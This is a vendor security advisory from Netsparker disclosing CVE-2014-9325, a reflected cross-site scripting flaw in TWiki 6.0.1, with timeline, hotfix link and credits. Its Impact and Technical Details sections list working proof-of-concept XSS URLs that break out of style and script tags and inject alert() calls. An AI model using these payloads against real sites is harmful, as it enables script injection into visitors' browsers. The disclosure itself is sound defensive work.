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TWiki Security Advisory - XSS Vulnerability - CVE-2014-9325

Description

Information -------------------- Advisory by Netsparker. Name: XSS Vulnerability with QUERYSTRING and QUERYPARAMSTRING in TWiki Affected Software : TWiki Affected Versions: 6.0.1 and possibly below Vendor Homepage : http://www.twiki.org/ Vulnerability Type : Cross-site Scripting Severity : Important CVE ID: CVE-2014-9325 Netsparker Advisory Reference : NS-14-041 Advisory URL ------------ https://www.netsparker.com/cve-2014-9325-xss-vulnerability-in-twiki/ Impact -------------------- A malicious person can use specially crafted URL parameters to TWiki scripts that execute arbitrary JavaScript code in the browser. Examples: Specially crafted parameter to the view script of TWiki: GET /do/view/Main/TWikiPreferences?'"--></style></script><script>alert('CVE-2014-9325 vulnerable')</script> TWiki decodes the URL parameters and pops up a JavaScript alert box showing "CVE-2014-9325 vulnerable!" Technical Details -------------------- /bin/view/Main/TWikiPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt> /bin/view/TWiki/TWikiTopics?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt> /bin/view/Sandbox/WebPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt> /bin/view/TWiki/WebNotify?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt> /bin/view/TWiki/WikiName?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt> /bin/view/TWiki/TextFormattingRules?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt> For more information on cross-site scripting vulnerabilities read the following article: https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/ Advisory Timeline -------------------- 09/12/2014 - First Contact 09/12/2014 - Vulnerability Fixed 18/12/2014 - Advisory Released Solution -------------------- http://twiki.org/cgi-bin/view/ST/SecurityAlert-CVE-2014-9325#Hotfix_for_TWiki_Production_Rele Credits & Authors -------------------- These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner. For more information visit https://www.netsparker.com.


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